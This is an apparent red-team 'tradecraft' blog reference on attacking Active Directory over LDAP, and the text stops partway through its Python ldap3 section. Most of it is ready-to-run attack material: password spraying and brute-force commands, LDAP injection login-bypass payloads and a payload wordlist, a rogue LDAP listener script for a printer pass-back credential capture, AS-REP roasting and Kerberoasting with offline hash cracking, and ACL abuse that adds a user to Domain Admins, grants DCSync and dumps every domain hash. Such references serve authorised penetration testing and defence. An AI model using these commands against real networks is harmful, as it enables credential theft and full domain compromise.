ᛉ Yggdrasil

Tradecraft

LDAP Recon & Exploitation

15 Sep 2026 · 4,388 words · 20 min

Contents

A complete operational reference for LDAP enumeration, anonymous bind abuse,
authenticated dumping, LDAP injection, BloodHound/SharpHound attack path
mapping, credential attacks, and Active Directory abuse via LDAP queries.
Covers ldapsearch, windapsearch, ldapdomaindump, crackmapexec, impacket,
BloodHound CE, and manual Python ldap3 techniques.


1. Core Concepts & LDAP Attack Flow

LDAP ATTACK FLOW:
──────────────────────────────────────────────────────────────────────
  Target AD / LDAP Server
        │
        ▼
  ┌─────────────────────────┐
  │  Port Discovery         │  ← 389 (LDAP), 636 (LDAPS), 3268/3269 (GC)
  └──────────┬──────────────┘
             │
             ▼
  ┌──────────────────────────────────────────────┐
  │  Anonymous / Null Bind Test                  │
  │  ldapsearch -x -H ldap://<IP> -s base        │
  │  Does it return data without credentials?    │
  └──────────┬───────────────────────────────────┘
             │
    ┌────────┴───────────────────────────────────┐
    │                                            │
    ▼                                            ▼
  ┌────────────────────────┐        ┌────────────────────────────┐
  │  Anonymous Bind Works  │        │  Creds Required            │
  │  → dump users/groups   │        │  → brute force / spray     │
  │  → find base DN        │        │  → password policy first   │
  │  → extract SPNs        │        └───────────┬────────────────┘
  └──────────┬─────────────┘                    │
             │                                  │
             └──────────────┬───────────────────┘
                            │
                            ▼
             ┌──────────────────────────────────────┐
             │  Authenticated LDAP Enumeration       │
             │  ldapsearch / windapsearch /           │
             │  ldapdomaindump / crackmapexec         │
             └──────────────┬───────────────────────┘
                            │
             ┌──────────────┴────────────────────┐
             │                                   │
             ▼                                   ▼
  ┌──────────────────────┐         ┌────────────────────────────┐
  │  BloodHound/SharpHound│        │  Manual LDAP Abuse         │
  │  Attack path mapping  │        │  AS-REP Roasting           │
  │  ACL abuse discovery  │        │  Kerberoasting             │
  │  Shadow admins        │        │  ACL/ACE abuse             │
  └──────────┬────────────┘        │  LDAP injection (web)      │
             │                     │  Pass-back attack          │
             └──────────┬──────────┘
                        │
                        ▼
             ┌─────────────────────────────┐
             │  Domain Admin / Compromise  │
             └─────────────────────────────┘
──────────────────────────────────────────────────────────────────────

Key Terms:

  • LDAP — Lightweight Directory Access Protocol — query/manage directory services

  • Active Directory (AD) — Microsoft's implementation of LDAP + Kerberos + DNS

  • Base DN — Base Distinguished Name — top-level search root e.g. DC=domain,DC=local

  • Anonymous Bind — LDAP connection with no credentials — often misconfigured

  • Simple Bind — username + password sent over LDAP (cleartext on port 389!)

  • DN — Distinguished Name — unique identifier e.g. CN=user,OU=IT,DC=domain,DC=local

  • sAMAccountName — Windows username attribute in AD

  • userPrincipalName — UPN — login format user@domain.com

  • objectSID — Security Identifier — unique ID for every AD object

  • memberOf — attribute listing all groups a user belongs to

  • adminCount=1 — marks protected admin accounts (AdminSDHolder)

  • servicePrincipalName (SPN) — attribute identifying Kerberos services → Kerberoasting target

  • LDAPS — LDAP over SSL/TLS (port 636) — encrypted

  • GC — Global Catalog — port 3268/3269 — all AD objects across all domains


2. Port Discovery & Service Detection

# Standard LDAP port scan
nmap -p 389,636,3268,3269 <TARGET_IP>
nmap -p 389,636,3268,3269 -sV <TARGET_IP>

# Full service scan with LDAP NSE scripts
nmap -p 389,636,3268,3269 --script ldap-rootdse <TARGET_IP>
# ldap-rootdse retrieves RootDSE — reveals:
# → domain name, DC FQDN, supported LDAP versions, naming contexts, forest name

# Example output:
# 389/tcp open ldap
# | ldap-rootdse:
# |   namingContexts: DC=domain,DC=local
# |   domainFunctionality: 7 (Windows 2016)
# |   forestFunctionality: 7

# All LDAP NSE scripts
nmap -p 389 --script "ldap-*" <TARGET_IP>
nmap -p 389 --script ldap-rootdse,ldap-search <TARGET_IP>

# Banner grab / manual connection check
nc <TARGET_IP> 389
openssl s_client -connect <TARGET_IP>:636   # LDAPS SSL check

# UDP scan
nmap -sU -p 389 <TARGET_IP>

# Subnet sweep for LDAP
nmap -p 389,636 --open 192.168.1.0/24

Identifying the Domain / Base DN

# Method 1: ldapsearch anonymous base query
ldapsearch -x -H ldap://<TARGET_IP> -s base namingContexts
# Returns: namingContexts: DC=domain,DC=local  ← your BASE DN

# Method 2: nmap rootdse script
nmap -p 389 --script ldap-rootdse <TARGET_IP> | grep namingContexts

# Method 3: crackmapexec
crackmapexec ldap <TARGET_IP>
# Output: LDAP <IP> 389 DC01 [*] domain.local (name:DC01) (domain:domain.local)

# Method 4: blank base manual
ldapsearch -LLL -x -H ldap://<TARGET_IP> -b '' -s base '(objectclass=*)'

3. Anonymous / Unauthenticated Enumeration

3.1 Testing for Anonymous Bind

# Test if anonymous bind works
ldapsearch -x -H ldap://<TARGET_IP> -s base
# Returns data WITHOUT -D or -w flags = anonymous bind enabled!

# Explicit null bind test
ldapsearch -x -H ldap://<TARGET_IP> \
    -D "" -w "" \
    -b "DC=domain,DC=local"

# CrackMapExec null session test
crackmapexec ldap <TARGET_IP> -u "" -p ""
crackmapexec ldap <TARGET_IP> -u "anonymous" -p ""

3.2 Anonymous Enumeration Queries

BASE="DC=domain,DC=local"
IP="<TARGET_IP>"

# Dump everything
ldapsearch -x -H ldap://$IP -b "$BASE" > full_ldap_dump.txt
ldapsearch -LLL -x -H ldap://$IP -b "$BASE" "(objectClass=*)" > dump_all.txt

# All users
ldapsearch -x -H ldap://$IP -b "$BASE" \
    "(objectClass=user)" \
    sAMAccountName userPrincipalName description

# All computers
ldapsearch -x -H ldap://$IP -b "$BASE" \
    "(objectClass=computer)" \
    name dNSHostName operatingSystem

# All groups
ldapsearch -x -H ldap://$IP -b "$BASE" \
    "(objectClass=group)" \
    cn member

# Password policy
ldapsearch -x -H ldap://$IP -b "$BASE" \
    "(objectClass=domain)" \
    minPwdLength lockoutThreshold lockoutDuration maxPwdAge

# Accounts with no password required (userAccountControl bit 32)
ldapsearch -x -H ldap://$IP -b "$BASE" \
    "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" \
    sAMAccountName

# userAccountControl flags:
# 2       = ACCOUNTDISABLE
# 32      = PASSWD_NOTREQD
# 64      = PASSWD_CANT_CHANGE
# 512     = NORMAL_ACCOUNT
# 65536   = DONT_EXPIRE_PASSWORD
# 4194304 = DONT_REQ_PREAUTH (AS-REP roastable!)

# AS-REP roastable accounts (no preauth required)
ldapsearch -x -H ldap://$IP -b "$BASE" \
    "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
    sAMAccountName

# Accounts with passwords that never expire
ldapsearch -x -H ldap://$IP -b "$BASE" \
    "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
    sAMAccountName

# Admin accounts (adminCount=1)
ldapsearch -x -H ldap://$IP -b "$BASE" \
    "(&(objectClass=user)(adminCount=1))" \
    sAMAccountName memberOf

4. Authenticated LDAP Enumeration

4.1 ldapsearch — Authenticated Queries

# Authenticated bind syntax
ldapsearch -H ldap://<TARGET_IP> \
    -D "DOMAIN\username" \
    -w "password" \
    -b "DC=domain,DC=local"

# UPN format
ldapsearch -H ldap://<TARGET_IP> \
    -D "username@domain.local" \
    -w "password" \
    -b "DC=domain,DC=local"

# DN format
ldapsearch -H ldap://<TARGET_IP> \
    -D "cn=username,cn=users,dc=domain,dc=local" \
    -w "password" \
    -b "DC=domain,DC=local"

BASE="DC=domain,DC=local"
IP="<TARGET_IP>"
USER="username"
PASS="password"

# All users — full details
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
    "(objectClass=user)" \
    sAMAccountName userPrincipalName description memberOf \
    userAccountControl lastLogon pwdLastSet

# Domain Admins members
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
    "(cn=Domain Admins)" member

# Enterprise Admins
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
    "(cn=Enterprise Admins)" member

# Schema Admins
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
    "(cn=Schema Admins)" member

# Kerberoastable accounts (SPN set, enabled, not krbtgt)
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
    "(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
    sAMAccountName servicePrincipalName memberOf

# Passwords in description field (goldmine!)
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
    "(&(objectClass=user)(description=*))" \
    sAMAccountName description

# All OUs
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
    "(objectClass=organizationalUnit)" ou description

# Domain trusts
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" \
    -b "CN=System,$BASE" \
    "(objectClass=trustedDomain)" \
    name trustDirection trustType flatName

# GPO enumeration
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
    "(objectClass=groupPolicyContainer)" \
    displayName gPCFileSysPath

# Fine-grained password policies
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" \
    -b "CN=Password Settings Container,CN=System,$BASE" \
    "(objectClass=msDS-PasswordSettings)" \
    cn msDS-MinimumPasswordLength msDS-LockoutThreshold

4.2 LDAPS — Encrypted LDAP (Port 636)

# Use ldaps:// scheme
ldapsearch -H ldaps://<TARGET_IP>:636 \
    -D "username@domain.local" -w "password" \
    -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

# Skip cert verification (self-signed cert)
LDAPTLS_REQCERT=never ldapsearch -H ldaps://<TARGET_IP>:636 \
    -D "username@domain.local" -w "password" \
    -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

# Global Catalog (port 3268) — all objects across forest
ldapsearch -H ldap://<TARGET_IP>:3268 \
    -D "username@domain.local" -w "password" \
    -b "" "(objectClass=user)" sAMAccountName userPrincipalName

5. windapsearch — AD-Focused Enumeration

# Installation
git clone https://github.com/ropnop/windapsearch.git
cd windapsearch && pip3 install -r requirements.txt

# Go binary (faster):
wget https://github.com/ropnop/go-windapsearch/releases/latest/download/windapsearch-linux-amd64
chmod +x windapsearch-linux-amd64 && mv windapsearch-linux-amd64 windapsearch

# Basic syntax
python3 windapsearch.py --dc-ip <TARGET_IP> -u "username@domain.local" -p "password" [MODULE]

# Anonymous — get functionality level (no creds)
python3 windapsearch.py --dc-ip <TARGET_IP> -u "" --functionality

# All users
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m users

# Full user attributes
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m users --full

# Domain Admins
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m domain-admins

# Privileged users (adminCount=1 — shadow admins)
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m privileged-users

# Computers
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m computers

# Groups
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m groups

# Unconstrained delegation (high value targets)
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m unconstrained-users
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m unconstrained-computers

# Kerberoastable users (SPN set)
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" -m kerberoastable-users

# Custom LDAP filter
python3 windapsearch.py --dc-ip <TARGET_IP> \
    -u "user@domain.local" -p "pass" \
    --custom "(&(objectClass=user)(description=*pass*))"

6. ldapdomaindump — Full Offline Dump

# Installation
pip3 install ldapdomaindump

# Basic dump (outputs HTML + JSON + grep-able files)
ldapdomaindump -u "DOMAIN\username" -p "password" <TARGET_IP>
ldapdomaindump -u "username@domain.local" -p "password" <TARGET_IP>

# Specify output directory
ldapdomaindump -u "DOMAIN\username" -p "password" \
    -o /tmp/ldap_dump/ <TARGET_IP>

# LDAPS
ldapdomaindump -u "DOMAIN\username" -p "password" \
    --no-html ldaps://<TARGET_IP>:636

# Output files generated:
# domain_computers.grep   → all computers (tab-separated)
# domain_computers.html
# domain_computers.json
# domain_groups.grep
# domain_policy.grep      → password policy!
# domain_trusts.grep
# domain_users.grep       → all users + attributes
# domain_users_by_group.html

# Parse output
# Passwords in description:
cat /tmp/ldap_dump/domain_users.grep | grep -i "pass\|pwd\|cred\|secret"

# Admin accounts:
cat /tmp/ldap_dump/domain_users.grep | grep "adminCount=1"

# Disabled accounts:
cat /tmp/ldap_dump/domain_users.grep | grep "ACCOUNTDISABLE"

# AS-REP roastable:
cat /tmp/ldap_dump/domain_users.grep | grep "DONT_REQ_PREAUTH"

# Serve HTML files in browser:
cd /tmp/ldap_dump && python3 -m http.server 8080
# Open: http://127.0.0.1:8080/domain_users.html

7. CrackMapExec / NetExec LDAP Module

# Host info
crackmapexec ldap <TARGET_IP>
nxc ldap <TARGET_IP>
# Output: LDAP <IP> 389 DC01 [*] Windows Server 2019 (domain:domain.local) (signing:True)

# Null session / anonymous test
crackmapexec ldap <TARGET_IP> -u "" -p ""
nxc ldap <TARGET_IP> -u "anonymous" -p ""

# Users
crackmapexec ldap <TARGET_IP> -u username -p password --users

# Groups
crackmapexec ldap <TARGET_IP> -u username -p password --groups

# Computers
crackmapexec ldap <TARGET_IP> -u username -p password --computers

# Password policy
crackmapexec ldap <TARGET_IP> -u username -p password --pass-pol

# Trusted domains with delegation
crackmapexec ldap <TARGET_IP> -u username -p password --trusted-for-delegation

# AS-REP Roast
crackmapexec ldap <TARGET_IP> -u username -p password --asreproast asrep_hashes.txt
crackmapexec ldap <TARGET_IP> -u users.txt -p "" --asreproast asrep_hashes.txt

# Kerberoast
crackmapexec ldap <TARGET_IP> -u username -p password --kerberoasting kerb_hashes.txt

# Passwords in description field
crackmapexec ldap <TARGET_IP> -u username -p password -M get-desc-users

# LAPS plaintext local admin passwords
crackmapexec ldap <TARGET_IP> -u username -p password -M laps

# Machine Account Quota (MAQ)
crackmapexec ldap <TARGET_IP> -u username -p password -M maq

8. BloodHound & SharpHound — Attack Path Mapping

8.1 Concept

BLOODHOUND:
──────────────────────────────────────────────────────────────────────
  Collects ALL LDAP relationships in AD:
  → Group memberships, ACL rights, Kerberos delegations,
    session data, local admin rights, OU structure, GPOs

  Draws a graph showing shortest attack paths:
  → "How do I get from regular user → Domain Admin?"

  Finds paths no human would manually discover:
  user1 → GenericWrite on user2 →
  user2 is member of IT Admins →
  IT Admins has WriteDACL on Domain Admins →
  Add user1 to Domain Admins ← GAME OVER
──────────────────────────────────────────────────────────────────────

8.2 BloodHound CE Setup

# Install via Docker
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml \
    -o bloodhound-docker-compose.yml
docker compose -f bloodhound-docker-compose.yml up -d

# Access at: http://127.0.0.1:8080
# Get initial password:
docker logs bloodhound-bloodhound-1 2>&1 | grep "Initial Password"

# Legacy BloodHound 4.x (Electron app)
sudo neo4j start
# Then launch BloodHound GUI → connect to bolt://localhost:7687

8.3 SharpHound — Data Collection

# Windows (run on domain-joined machine)
SharpHound.exe -c All
SharpHound.exe -c All --Stealth              # quieter
SharpHound.exe -c All --SecureLDAP           # use LDAPS
SharpHound.exe -c Session --Loop \
    --loopduration 03:00:00 \
    --loopinterval 00:10:00                  # catch logged-on users
SharpHound.exe -c All --DomainController <DC_IP>

# From non-domain machine via runas
runas /netonly /user:DOMAIN\username cmd.exe
# In new cmd:
SharpHound.exe -c All

# bloodhound-python (Linux — no Windows needed!)
pip3 install bloodhound
bloodhound-python -d domain.local \
    -u username -p password \
    -ns <DC_IP> -c all

# With hash (PtH):
bloodhound-python -d domain.local \
    -u username --hashes :<NTLM_HASH> \
    -ns <DC_IP> -c all

# → Generates JSON files → ZIP and drag into BloodHound GUI

8.4 Key BloodHound Cypher Queries

// Shortest path from owned users to Domain Admins
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

// Users that can reset passwords
MATCH p=(u:User)-[:ForceChangePassword]->(v:User)
RETURN u.name, v.name

// All GenericAll rights (full control)
MATCH p=(u)-[:GenericAll]->(v)
RETURN u.name, v.name, labels(v)

// Users with WriteDACL on Domain
MATCH p=(u:User)-[:WriteDacl]->(d:Domain)
RETURN u.name

// Shadow admins (not in group but have admin rights)
MATCH (u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl|Owns]->
      (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE NOT (u)-[:MemberOf*1..]->(:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name

// Computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name

// LAPS-enabled computers
MATCH (c:Computer {haslaps:true})
RETURN c.name

// Paths from Domain Users to any high-value group
MATCH p=shortestPath((g:Group {name:"DOMAIN USERS@DOMAIN.LOCAL"})-[*1..10]->(t:Group))
WHERE t.highvalue=true
RETURN p LIMIT 5

9. LDAP Credential Attacks

9.1 Password Spraying via LDAP

# Check password policy FIRST — avoid lockouts!
crackmapexec ldap <TARGET_IP> -u username -p password --pass-pol

# Spray one password against all users (safe — 1 attempt per user)
crackmapexec ldap <TARGET_IP> -u users.txt -p "Password123" \
    --continue-on-success

# Spray across domain subnet
crackmapexec ldap 192.168.1.0/24 -u users.txt -p "Winter2024!" \
    --continue-on-success

# User:pass pairs (not combinatorial — avoids lockout)
crackmapexec ldap <TARGET_IP> -u users.txt -p passwords.txt \
    --no-bruteforce --continue-on-success

# Hydra LDAP brute force
hydra -L users.txt -p "Password123" ldap2://<TARGET_IP>
hydra -l administrator -P /usr/share/wordlists/rockyou.txt ldap2://<TARGET_IP>

# Validate single user:pass with ldapsearch
ldapsearch -H ldap://<TARGET_IP> \
    -D "testuser@domain.local" -w "TestPassword123" \
    -b "DC=domain,DC=local" "(sAMAccountName=testuser)" sAMAccountName 2>&1
# "result: 49 Invalid credentials" = wrong
# Returns data = correct

9.2 Credential Hunting via LDAP Attributes

# Passwords in description fields
ldapsearch -H ldap://<TARGET_IP> \
    -D "user@domain.local" -w "pass" \
    -b "DC=domain,DC=local" \
    "(description=*)" sAMAccountName description \
    | grep -i "pass\|pwd\|cred\|secret\|admin\|key"

# Passwords in info fields
ldapsearch -H ldap://<TARGET_IP> \
    -D "user@domain.local" -w "pass" \
    -b "DC=domain,DC=local" \
    "(info=*)" sAMAccountName info

# LAPS — plaintext local admin password (ms-MCS-AdmPwd)
ldapsearch -H ldap://<TARGET_IP> \
    -D "user@domain.local" -w "pass" \
    -b "DC=domain,DC=local" \
    "(objectClass=computer)" \
    ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime sAMAccountName
# ms-MCS-AdmPwd = PLAINTEXT local admin password!

# Custom attributes — sometimes store creds in misconfigs
ldapsearch -H ldap://<TARGET_IP> \
    -D "user@domain.local" -w "pass" \
    -b "DC=domain,DC=local" \
    "(objectClass=user)" \
    comment extensionAttribute1 extensionAttribute2 streetAddress

10. LDAP Injection — Web App Attack

10.1 How It Works

VULNERABLE CODE (PHP):
──────────────────────────────────────────────────────────────────────
  $filter = "(&(uid=" . $user . ")(userPassword=" . $pass . "))";

  Normal:    user=admin  pass=secret
  Filter:    (&(uid=admin)(userPassword=secret))

  Injected:  user=admin)(&)  pass=anything
  Filter:    (&(uid=admin)(&))(userPassword=anything))
             → (&(uid=admin)(&)) = always TRUE → bypass!
──────────────────────────────────────────────────────────────────────

10.2 Authentication Bypass Payloads

─── Username field ───
*                          → wildcard matches ANY uid
admin)(&)                  → closes filter, always-true clause
admin)(|(uid=*             → OR — match any user
*))(|(uid=*                → full bypass
admin)(!(&(1=0             → NOT false = true
%2A                        → URL-encoded wildcard *
\2a                        → LDAP-escaped wildcard *
admin\00                   → null byte injection

─── Password field ───
*                          → wildcard password
*))(|(password=*           → OR wildcard
anything)(uid=*            → pivot to another attribute

─── Both fields bypass ───
Username: *)(uid=*))(|(uid=*
Password: anything
→ Returns ALL users → logged in as first user

10.3 Blind LDAP Injection — Data Extraction

CONCEPT:
────────────────────────────────────────────────────────────────────
  No visible output but app behavior changes based on filter truth:
  → True condition  → "Login success" / redirect
  → False condition → "Login failed"
  → Extract data one char at a time

Username: admin)(userPassword=a*   → does password start with 'a'?
Username: admin)(userPassword=ab*  → does it start with 'ab'?
→ Iterate character set to reconstruct full password

Character set: a-z A-Z 0-9 !@#$%^&*()-_+=

10.4 Testing Tools

# curl injection test
curl -s -X POST https://target.com/login \
    --data "username=admin)(%26)&password=anything"
# URL-encoded: & = %26, * = %2A, ( = %28, ) = %29

# Burp Suite workflow
# Capture login → Send to Intruder → mark username field
# Load LDAP injection payload list → attack
# Filter responses by length / status code

# LDAP injection wordlist
cat > ldap_inject.txt << 'EOF'
*
*)
*()|%26'
admin)(&)
admin)(|(password=*)
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*(|(userPassword=*))
admin)(cn=*))(|(cn=*
EOF

# nmap ldap-brute NSE
nmap --script ldap-brute -p 389 <TARGET_IP> \
    --script-args ldap.base="DC=domain,DC=local"

11. LDAP Pass-Back Attack (Printer/MFP Abuse)

Concept

LDAP PASS-BACK:
──────────────────────────────────────────────────────────────────────
  Printers / scanners / copiers have admin panels to configure LDAP:
  → "Scan to folder" / "Authenticate via LDAP"
  → Config asks for: LDAP server IP, port, bind DN, password

  Attack:
  1. Access admin panel (default creds: admin/admin, admin/blank)
  2. Change LDAP server IP → YOUR attacker machine
  3. Device authenticates to YOUR machine with its bind credentials
  4. Capture cleartext credentials (Simple Bind = plaintext on port 389)

  Why it works: device blindly sends creds to whatever IP you configure!
──────────────────────────────────────────────────────────────────────

Execution

# Step 1: Access printer admin panel
# Common paths:
# http://<PRINTER_IP>/
# http://<PRINTER_IP>/admin
# http://<PRINTER_IP>/settings/ldap
# http://<PRINTER_IP>/hp/device/
# Default creds: admin:admin | admin:(blank) | Admin:Admin | admin:1234

# Step 2: Setup rogue LDAP listener

# Method 1: nc — captures Simple Bind in PLAINTEXT
sudo nc -lvnp 389

# Method 2: Responder — captures NTLMv2 hashes
sudo python3 Responder.py -I eth0 -wrf

# Method 3: Python rogue LDAP server
python3 - << 'EOF'
import socket, threading

def handle_client(conn, addr):
    print(f"[+] Connection from {addr}")
    data = conn.recv(4096)
    print(f"[+] Raw: {data}")
    print(f"[+] Hex: {data.hex()}")
    # Send LDAP bind success response
    conn.send(b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00')
    conn.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 389))
s.listen(5)
print("[*] Rogue LDAP listening on 389...")
while True:
    conn, addr = s.accept()
    threading.Thread(target=handle_client, args=(conn, addr)).start()
EOF

# Step 3: In printer admin panel → set LDAP server to <YOUR_IP>
# Click "Test Connection" → device sends creds to you → capture!

# Step 4: Use captured credentials
# Cleartext → use directly in ldapsearch / crackmapexec / evil-winrm
# NTLMv2 hash → crack: hashcat -m 5600 hash.txt rockyou.txt

12. AS-REP Roasting via LDAP

WHAT IT IS:
──────────────────────────────────────────────────────────────────────
  Accounts with DONT_REQ_PREAUTH set:
  → Anyone can request an AS-REP for them WITHOUT a password
  → AS-REP is encrypted with the user's NT hash
  → Capture → crack offline → get plaintext password

  LDAP filter:
  (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
──────────────────────────────────────────────────────────────────────
# Find AS-REP roastable accounts via LDAP (no creds if anon bind works)
ldapsearch -x -H ldap://<DC_IP> \
    -b "DC=domain,DC=local" \
    "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
    sAMAccountName

# impacket-GetNPUsers — single user (no creds needed)
impacket-GetNPUsers domain.local/username -no-pass -dc-ip <DC_IP>

# Multiple users from file
impacket-GetNPUsers domain.local/ \
    -usersfile users.txt \
    -no-pass \
    -dc-ip <DC_IP> \
    -outputfile asrep_hashes.txt

# With credentials (auto-finds all roastable accounts)
impacket-GetNPUsers domain.local/username:password \
    -dc-ip <DC_IP> -outputfile asrep_hashes.txt

# CrackMapExec
crackmapexec ldap <DC_IP> -u username -p password --asreproast output.txt
crackmapexec ldap <DC_IP> -u users.txt -p "" --asreproast output.txt

# Crack — hashcat mode 18200
# Hash format: $krb5asrep$23$username@domain.local:...
hashcat -a 0 -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 18200 asrep_hashes.txt rockyou.txt \
    --rules-file /usr/share/hashcat/rules/best64.rule

# John
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

13. Kerberoasting via LDAP

WHAT IT IS:
──────────────────────────────────────────────────────────────────────
  Any authenticated user can request a TGS for any account with an SPN.
  TGS is encrypted with the SERVICE ACCOUNT's password hash.
  → Capture TGS → crack offline → get service account plaintext password

  LDAP filter:
  (&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))
──────────────────────────────────────────────────────────────────────
# Find Kerberoastable accounts via LDAP
ldapsearch -H ldap://<DC_IP> \
    -D "user@domain.local" -w "pass" \
    -b "DC=domain,DC=local" \
    "(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
    sAMAccountName servicePrincipalName memberOf

# impacket-GetUserSPNs — list SPNs
impacket-GetUserSPNs domain.local/username:password -dc-ip <DC_IP>

# Request tickets (get hashes)
impacket-GetUserSPNs domain.local/username:password \
    -dc-ip <DC_IP> -request -outputfile kerb_hashes.txt

# Target specific account
impacket-GetUserSPNs domain.local/username:password \
    -dc-ip <DC_IP> -request-user svc_mssql -outputfile kerb_hashes.txt

# CrackMapExec
crackmapexec ldap <DC_IP> -u username -p password --kerberoasting kerb.txt

# Crack — hashcat mode 13100 (RC4)
# Hash format: $krb5tgs$23$*svc_sql*DOMAIN.LOCAL*...
hashcat -a 0 -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 13100 kerb_hashes.txt rockyou.txt \
    --rules-file /usr/share/hashcat/rules/best64.rule

# AES variants
hashcat -a 0 -m 19700 kerb_hashes.txt rockyou.txt   # AES128 (etype 17)
hashcat -a 0 -m 19800 kerb_hashes.txt rockyou.txt   # AES256 (etype 18)

# John
john kerb_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

14. ACL / ACE Abuse via LDAP

Common Abusable ACEs

ACE Right On Object What Attacker Can Do
GenericAll User Change password, modify attrs, add to groups
GenericAll Group Add self as member
GenericAll Computer RBCD attack
GenericWrite User Set SPN → Kerberoast
GenericWrite Group Add self as member
WriteDACL Any Modify ACLs → grant self any right
WriteOwner Any Take ownership → then WriteDACL
ForceChangePassword User Reset password (no old pass needed)
DCSync rights Domain Dump all hashes like secretsdump
AllExtendedRights User Force-change password

Exploiting ACEs

# Enumerate ACLs — PowerView (Windows)
Import-Module .\PowerView.ps1

# Get ACL for a specific object
Get-DomainObjectAcl -Identity "targetuser" -ResolveGUIDs

# Find ACEs where you have rights
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -match "yourgroup|youruser"
}

# GenericAll on User → change their password (Linux)
impacket-changepasswd "domain.local/targetuser:AnyPass@<DC_IP>" \
    -newpass "NewPass123!" \
    -altuser youruser -altpass yourpass

# GenericAll on User → change password (PowerShell)
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\youruser",
    (ConvertTo-SecureString "YourPassword" -AsPlainText -Force))
Set-DomainUserPassword -Identity targetuser \
    -AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force) \
    -Credential $cred

# GenericAll on Group → add self as member
Add-DomainGroupMember -Identity "Domain Admins" -Members "youruser" -Credential $cred

# Via net rpc (Linux):
net rpc group addmem "Domain Admins" youruser \
    -U domain/youruser%yourpass -S <DC_IP>

# WriteDACL → grant self DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
    -PrincipalIdentity youruser -Rights DCSync -Credential $cred

# Then DCSync — dump all hashes from DC
impacket-secretsdump domain.local/youruser:pass@<DC_IP>

# ForceChangePassword (rpcclient)
rpcclient -U "DOMAIN/youruser%yourpass" <DC_IP>
# Inside rpcclient:
setuserinfo2 targetuser 23 "NewPassword123!"

15. Python ldap3 — Manual LDAP Scripting

# pip3 install ldap3
from ldap3 import Server, Connection, ALL, NTLM, SUBTREE

# Simple Bind
server = Server('ldap://10.10.10.100', get_info=ALL)
conn = Connection(server,
    user='DOMAIN\\username', password='password',
    authentication='SIMPLE')
conn.bind()
print(conn.result)

# NTLM Auth
conn = Connection(server,
    user='DOMAIN\\username', password='password',
    authentication=NTLM)
conn.bind()

# Anonymous
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()

# Get RootDSE info
print(server.info.naming_contexts)
print(server.info.other['defaultNamingContext'])

# Search all users
base_dn = 'DC=domain,DC=local'
conn.search(
    search_base=base_dn,
    search_filter='(objectClass=user)',
    search_scope=SUBTREE,
    attributes=['sAMAccountName', 'mail', 'description', 'memberOf']
)
for entry in conn.entries:
    print(f"[+] {entry.sAMAccountName} | {entry.description}")

# AS-REP roastable accounts
conn.search(
    search_base=base_dn,
    search_filter='(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
    attributes=['sAMAccountName']
)
for entry in conn.entries:
    print(f"[AS-REP] {entry.sAMAccountName}")

# Kerberoastable accounts
conn.search(
